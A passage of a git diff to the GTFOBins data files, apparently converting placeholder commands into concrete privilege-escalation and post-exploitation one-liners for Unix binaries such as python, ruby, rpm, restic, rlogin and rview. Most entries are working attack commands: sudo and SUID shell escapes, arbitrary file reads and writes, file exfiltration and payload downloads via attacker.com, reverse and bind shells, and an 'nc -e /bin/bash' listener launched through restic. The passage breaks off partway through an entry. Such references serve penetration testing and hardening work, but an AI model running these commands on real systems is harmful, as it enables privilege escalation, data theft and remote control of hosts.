'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))'\n" + "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))'\n" }, { "description": "Serve files in the local folder running an HTTP server.", - "code": "python -c 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()'\n" + "code": "export LPORT=8888\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "python -c 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")'\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\npython -c 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])'\n" } ], "file-write": [ { - "code": "python -c 'open(\"[file]\",\"w+\").write(\"DATA\")'" + "description": "", + "code": "python -c 'open(\"file_to_write\",\"w+\").write(\"DATA\")'\n" } ], "file-read": [ { - "code": "python -c 'print(open(\"[file]\").read())'" + "description": "", + "code": "python -c 'print(open(\"file_to_read\").read())'\n" } ], "library-load": [ { - "code": "python -c 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'" + "description": "", + "code": "python -c 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")'\n" } ], "suid": [ { - "code": "./python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'" + "description": "", + "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n" } ], "sudo": [ { - "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'" + "description": "", + "code": "sudo python -c 'import os; os.system(\"/bin/sh\")'\n" } ], "capabilities": [ { - "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'" + "description": "", + "code": "./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/qpdf.json b/gtfo/data/qpdf.json new file mode 100644 index 0000000..b6f986a --- /dev/null +++ b/gtfo/data/qpdf.json @@ -0,0 +1,18 @@ +{ + "functions": { + "file-read": [ + { + "code": "qpdf --empty --add-attachment /path/filename -- out.pdf; qpdf out.pdf --show-attachment=filename" + }, + { + "description": "`qpdf` can be used to read any arbitrary file accessible to the running user, by attaching the target file to a valid PDF file, and then accessing that attachment. If the user is allowed to run `qpdf` as an elevated user (e.g with `sudo`), privileged files can be read.", + "code": "FILE_TO_READ=\"/path/to/file\"\nqpdf --qdf --add-attachment $FILE_TO_READ --key=anykey -- valid.pdf output.pdf\nqpdf --show-attachment=anykey output.pdf" + } + ], + "sudo": [ + { + "code": "sudo qpdf --empty --add-attachment /path/filename -- out.pdf; qpdf out.pdf --show-attachment=filename" + } + ] + } +} diff --git a/gtfo/data/r.json b/gtfo/data/r.json new file mode 100644 index 0000000..a8b5152 --- /dev/null +++ b/gtfo/data/r.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "R --no-save -e 'system(\"sh\")'\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo R --no-save -e 'system(\"sh\")'\n" + } + ] + } +} diff --git a/gtfo/data/rake.json b/gtfo/data/rake.json index fdec661..9cf62e1 100644 --- a/gtfo/data/rake.json +++ b/gtfo/data/rake.json @@ -1,19 +1,28 @@ { "functions": { + "file-read": [ + { + "description": "The file is actually parsed and the first wrong line is returned in an error message.", + "code": "LFILE=file-to-read\nrake -f $LFILE\n" + } + ], "shell": [ { - "code": "rake -p '`/bin/sh 1>&0`'" + + "code": "rake -p '`/bin/sh 1>&0`'\n" } ], "sudo": [ { - "code": "sudo rake -p '`/bin/sh 1>&0`'" + + "code": "sudo rake -p '`/bin/sh 1>&0`'\n" } ], "limited-suid": [ { - "code": "./rake -p '`/bin/sh 1>&0`'" + + "code": "./rake -p '`/bin/sh 1>&0`'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/rc.json b/gtfo/data/rc.json new file mode 100644 index 0000000..6aff875 --- /dev/null +++ b/gtfo/data/rc.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "rc -c '/bin/sh'\n" + } + ], + "suid": [ + { + + "code": "./rc -c '/bin/sh -p'\n" + } + ], + "sudo": [ + { + + "code": "sudo rc -c '/bin/sh'\n" + } + ] + } +} diff --git a/gtfo/data/readelf.json b/gtfo/data/readelf.json index 7286c06..683fe50 100644 --- a/gtfo/data/readelf.json +++ b/gtfo/data/readelf.json @@ -1,20 +1,22 @@ { - "description": "Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.\n", "functions": { "file-read": [ { - "code": "readelf -a @[file]\n" + + "code": "LFILE=file_to_read\nreadelf -a @$LFILE\n" } ], "suid": [ { - "code": "./readelf -a @[file]\n" + + "code": "LFILE=file_to_read\n./readelf -a @$LFILE\n" } ], "sudo": [ { - "code": "sudo readelf -a @[file]\n" + + "code": "LFILE=file_to_read\nsudo readelf -a @$LFILE\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/red.json b/gtfo/data/red.json index c5067b4..ca63f4b 100644 --- a/gtfo/data/red.json +++ b/gtfo/data/red.json @@ -1,20 +1,22 @@ { - "description": "Read and write files limited to the current directory.", "functions": { "file-write": [ { - "code": "red [file]\na\nDATA\n.\nw\nq\n" + + "code": "red file_to_write\na\nDATA\n.\nw\nq\n" } ], "file-read": [ { - "code": "red [file]\n,p\nq\n" + + "code": "red file_to_read\n,p\nq\n" } ], "sudo": [ { - "code": "sudo red [file]\na\nDATA\n.\nw\nq\n" + + "code": "sudo red file_to_write\na\nDATA\n.\nw\nq\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/redcarpet.json b/gtfo/data/redcarpet.json index a6132bd..d15beb0 100644 --- a/gtfo/data/redcarpet.json +++ b/gtfo/data/redcarpet.json @@ -1,15 +1,16 @@ { - "description": "The file is actually parsed as a Markdown file.", "functions": { "file-read": [ { - "code": "redcarpet \"[file]\"\n" + + "code": "LFILE=file_to_read\nredcarpet \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo redcarpet \"[file]\"\n" + + "code": "LFILE=file_to_read\nsudo redcarpet \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/redis.json b/gtfo/data/redis.json new file mode 100644 index 0000000..cafa32c --- /dev/null +++ b/gtfo/data/redis.json @@ -0,0 +1,10 @@ +{ + "functions": { + "file-write": [ + { + "description": "Write files on the server running Redis at the specified location. Written data will appear amongst the database dump, thus it might not be suitable for all kind of purposes.", + "code": "IP=127.0.0.1\nredis-cli -h $IP\nconfig set dir dir_to_write_to\nconfig set dbfilename file_to_write\nset x \"DATA\"\nsave\n" + } + ] + } +} diff --git a/gtfo/data/restic.json b/gtfo/data/restic.json index d0c885b..88c4d33 100644 --- a/gtfo/data/restic.json +++ b/gtfo/data/restic.json @@ -1,20 +1,28 @@ { - "description": "The attacker must setup a server to receive the backups, in the following example https://github.com/restic/rest-server/ is used but there are other options. To start a new instance and create a new repository:\n\n./rest-server --listen \":[port]\"\nrestic init -r \"rest:http://localhost:[port]/[file]\"\n\nTo extract the data from the restic repository in the current directory on the attacker side:\n\nrestic restore -r \"/tmp/restic/[file]\" latest --target .\n\nUpload data to the attacker server with the following commands.\n", "functions": { + "command": [ + { + "description": "The attacker does not need to setup a server to receive the backups in this case. Command execution can be achieved through control of argv or environment, many restic subcommands support this option, so even if the attacker control only a subset of argv, command execution may still be achievable.", + "code": "RESTIC_PASSWORD_COMMAND='nc -l 127.0.0.1 -p 4321 -e /bin/bash' restic backup # Through environment\nrestic backup --password-command=\"nc -l 127.0.0.1 -p 4321 -e /bin/bash\" # Through option\n" + } + ], "file-upload": [ { - "code": "restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + "description": "", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\nrestic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + "description": "", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\nsudo restic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n" } ], "suid": [ { - "code": "./restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + "description": "", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_or_dir_to_get\nNAME=backup_name\n./restic backup -r \"rest:http://$RHOST:$RPORT/$NAME\" \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/rev.json b/gtfo/data/rev.json index 825bbc2..4a3621a 100644 --- a/gtfo/data/rev.json +++ b/gtfo/data/rev.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "rev [file] | rev\n" + + "code": "LFILE=file_to_read\nrev $LFILE | rev\n" } ], "suid": [ { - "code": "./rev [file] | rev\n" + + "code": "LFILE=file_to_read\n./rev $LFILE | rev\n" } ], "sudo": [ { - "code": "sudo rev [file] | rev\n" + + "code": "LFILE=file_to_read\nsudo rev $LFILE | rev\n" } ] } diff --git a/gtfo/data/rlogin.json b/gtfo/data/rlogin.json index a83a484..0372207 100644 --- a/gtfo/data/rlogin.json +++ b/gtfo/data/rlogin.json @@ -1,11 +1,10 @@ { - "description": "Usually 'rlogin' is a symlink to 'ssh' the following works only when the real 'rlogin' is used (e.g., from the 'rsh-client' APT package).", "functions": { "file-upload": [ { - "description": "Send contents of a file to a TCP port. Run 'nc -l -p [port] > [file]' on the attacker system to capture the contents. 'rlogin' hangs waiting for the remote peer to close the socket. The file is corrupted by leading and trailing spurious data.", - "code": "rlogin -l \"$(cat [file])\" -p [port] [host]\n" + "description": "Send contents of a file to a TCP port. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker system to capture the contents.\n\n`rlogin` hangs waiting for the remote peer to close the socket.\n\nThe file is corrupted by leading and trailing spurious data.\n", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nrlogin -l \"$(cat $LFILE)\" -p $RPORT $RHOST\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/rlwrap.json b/gtfo/data/rlwrap.json index f8208b8..ad10387 100644 --- a/gtfo/data/rlwrap.json +++ b/gtfo/data/rlwrap.json @@ -2,24 +2,27 @@ "functions": { "shell": [ { - "code": "rlwrap /bin/sh" + + "code": "rlwrap /bin/sh\n" } ], "file-write": [ { - "description": "This adds timestamps to the output file. This relies on the external 'echo' command.", - "code": "rlwrap -l [file] echo DATA\n" + "description": "This adds timestamps to the output file. This relies on the external `echo` command.", + "code": "LFILE=file_to_write\nrlwrap -l \"$LFILE\" echo DATA\n" } ], "suid": [ { - "code": "./rlwrap -H /dev/null /bin/sh -p" + + "code": "./rlwrap -H /dev/null /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo rlwrap /bin/sh" + + "code": "sudo rlwrap /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/rpm.json b/gtfo/data/rpm.json index 9cce3e4..d90eed4 100644 --- a/gtfo/data/rpm.json +++ b/gtfo/data/rpm.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { - "code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'" + + "code": "rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n" }, { - "code": "rpm --pipe '/bin/sh 0<&1'" + + "code": "rpm --pipe '/bin/sh 0<&1'\n" } ], "limited-suid": [ { - "code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\")}'" + + "code": "./rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n" } ], "sudo": [ { - "code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'" + + "code": "sudo rpm --eval '%{lua:os.execute(\"/bin/sh\")}'\n" }, { - "description": "It runs commands using a specially crafted RPM package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```", + "description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n", "code": "sudo rpm -ivh x-1.0-1.noarch.rpm\n" } ] diff --git a/gtfo/data/rpmdb.json b/gtfo/data/rpmdb.json new file mode 100644 index 0000000..5ec588b --- /dev/null +++ b/gtfo/data/rpmdb.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "rpmdb --eval '%(/bin/sh 1>&2)'\n" + } + ], + "limited-suid": [ + { + + "code": "./rpmdb --eval '%(/bin/sh 1>&2)'\n" + } + ], + "sudo": [ + { + + "code": "sudo rpmdb --eval '%(/bin/sh 1>&2)'\n" + } + ] + } +} diff --git a/gtfo/data/rpmquery.json b/gtfo/data/rpmquery.json index d67d228..42a1acd 100644 --- a/gtfo/data/rpmquery.json +++ b/gtfo/data/rpmquery.json @@ -2,17 +2,20 @@ "functions": { "shell": [ { - "code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'" + + "code": "rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'\n" } ], "limited-suid": [ { - "code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'" + + "code": "./rpmquery --eval '%{lua:os.execute(\"/bin/sh\")}'\n" } ], "sudo": [ { - "code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'" + + "code": "sudo rpmquery --eval '%{lua:posix.exec(\"/bin/sh\")}'\n" } ] } diff --git a/gtfo/data/rpmverify.json b/gtfo/data/rpmverify.json new file mode 100644 index 0000000..cbe7c57 --- /dev/null +++ b/gtfo/data/rpmverify.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "rpmverify --eval '%(/bin/sh 1>&2)'\n" + } + ], + "limited-suid": [ + { + + "code": "./rpmverify --eval '%(/bin/sh 1>&2)'\n" + } + ], + "sudo": [ + { + + "code": "sudo rpmverify --eval '%(/bin/sh 1>&2)'\n" + } + ] + } +} diff --git a/gtfo/data/rsync.json b/gtfo/data/rsync.json index 0d7c30f..23949bf 100644 --- a/gtfo/data/rsync.json +++ b/gtfo/data/rsync.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null" + + "code": "rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n" } ], "sudo": [ { - "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null" + + "code": "sudo rsync -e 'sh -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n" } ], "suid": [ { - "code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null" + + "code": "./rsync -e 'sh -p -c \"sh 0<&2 1>&2\"' 127.0.0.1:/dev/null\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/rsyslogd.json b/gtfo/data/rsyslogd.json new file mode 100644 index 0000000..9f2904a --- /dev/null +++ b/gtfo/data/rsyslogd.json @@ -0,0 +1,16 @@ +{ + "functions": { + "reverse-shell": [ + { + "description": "After placing an executable or shell script on disk, you can trigger its execution via a logging facility by adding one line to the rsyslog.conf file", + "code": ":msg, contains, \"randomstringtomatch\" ^/path/to/script.sh\n" + } + ], + "bind-shell": [ + { + "description": "After placing an executable or shell script on disk, you can trigger its execution via a logging facility by adding one line to the rsyslog.conf file", + "code": ":msg, contains, \"randomstringtomatch\" ^/path/to/script.sh\n" + } + ] + } +} diff --git a/gtfo/data/rtorrent.json b/gtfo/data/rtorrent.json new file mode 100644 index 0000000..fd6b71b --- /dev/null +++ b/gtfo/data/rtorrent.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "echo \"execute = /bin/sh,-c,\\\"/bin/sh <$(tty) >$(tty) 2>$(tty)\\\"\" >~/.rtorrent.rc\nrtorrent\n" + } + ], + "suid": [ + { + + "code": "echo \"execute = /bin/sh,-p,-c,\\\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\\\"\" >~/.rtorrent.rc\n./rtorrent\n" + } + ] + } +} diff --git a/gtfo/data/ruby.json b/gtfo/data/ruby.json index b721c38..180f9af 100644 --- a/gtfo/data/ruby.json +++ b/gtfo/data/ruby.json @@ -2,51 +2,57 @@ "functions": { "shell": [ { - "code": "ruby -e 'exec \"/bin/sh\"'" + + "code": "ruby -e 'exec \"/bin/sh\"'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"[host]\",\"[port]\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV[\"RHOST\"],ENV[\"RPORT\"]);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'\n" } ], "file-upload": [ { "description": "Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.", - "code": "ruby -run -e httpd . -p [port]\n" + "code": "export LPORT=8888\nruby -run -e httpd . -p $LPORT\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "ruby -e 'require \"open-uri\"; IO.copy_stream(open(\"[url]\"), \"[file]\")'\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nruby -e 'require \"open-uri\"; download = open(ENV[\"URL\"]); IO.copy_stream(download, ENV[\"LFILE\"])'\n" } ], "file-write": [ { - "code": "ruby -e 'File.open(\"[file]\", \"w+\") { |f| f.write(\"DATA\") }'" + + "code": "ruby -e 'File.open(\"file_to_write\", \"w+\") { |f| f.write(\"DATA\") }'\n" } ], "file-read": [ { - "code": "ruby -e 'puts File.read(\"[file]\")'" + + "code": "ruby -e 'puts File.read(\"file_to_read\")'\n" } ], "library-load": [ { - "code": "ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"lib.so\")'" + + "code": "ruby -e 'require \"fiddle\"; Fiddle.dlopen(\"lib.so\")'\n" } ], "sudo": [ { - "code": "sudo ruby -e 'exec \"/bin/sh\"'" + + "code": "sudo ruby -e 'exec \"/bin/sh\"'\n" } ], "capabilities": [ { - "code": "./ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'" + + "code": "./ruby -e 'Process::Sys.setuid(0); exec \"/bin/sh\"'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/run-mailcap.json b/gtfo/data/run-mailcap.json index 57b173e..ae31418 100644 --- a/gtfo/data/run-mailcap.json +++ b/gtfo/data/run-mailcap.json @@ -2,27 +2,27 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "run-mailcap --action=view /etc/hosts\n!/bin/sh\n" } ], "file-read": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", - "code": "run-mailcap --action=view [file]" + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "run-mailcap --action=view file_to_read\n" } ], "file-write": [ { - "description": "The file must exist and be not empty. This invokes the default editor, which is likely to be 'vi', other functions may apply.", - "code": "run-mailcap --action=edit [file]" + "description": "The file must exist and be not empty.\n\nThis invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply.\n", + "code": "run-mailcap --action=edit file_to_read\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo run-mailcap --action=view /etc/hosts\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/run-parts.json b/gtfo/data/run-parts.json index 161ddea..6ecf996 100644 --- a/gtfo/data/run-parts.json +++ b/gtfo/data/run-parts.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "run-parts --new-session --regex '^sh$' /bin" + + "code": "run-parts --new-session --regex '^sh$' /bin\n" } ], "sudo": [ { - "code": "sudo run-parts --new-session --regex '^sh$' /bin" + + "code": "sudo run-parts --new-session --regex '^sh$' /bin\n" } ], "suid": [ { - "code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'" + + "code": "./run-parts --new-session --regex '^sh$' /bin --arg='-p'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/runscript.json b/gtfo/data/runscript.json new file mode 100644 index 0000000..72cfed6 --- /dev/null +++ b/gtfo/data/runscript.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nrunscript $TF\n" + } + ], + "limited-suid": [ + { + + "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\n./runscript $TF\n" + } + ], + "sudo": [ + { + + "code": "TF=$(mktemp)\necho '! exec /bin/sh' >$TF\nsudo runscript $TF\n" + } + ] + } +} diff --git a/gtfo/data/rview.json b/gtfo/data/rview.json index 7af734c..21d7f31 100644 --- a/gtfo/data/rview.json +++ b/gtfo/data/rview.json @@ -2,98 +2,100 @@ "functions": { "shell": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'rview' is compiled with Lua support.", - "code": "rview -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Lua support.", + "code": "rview -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "reverse-shell": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "rview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\", [port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nrview -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n" }, { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.", - "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" }, { - "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rview -c ':lua local f=io.open(\"[file]\", \"rb\")\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nt:send(d);\nt:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrview -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.", - "code": "rview -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrview -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rview' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rview -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal 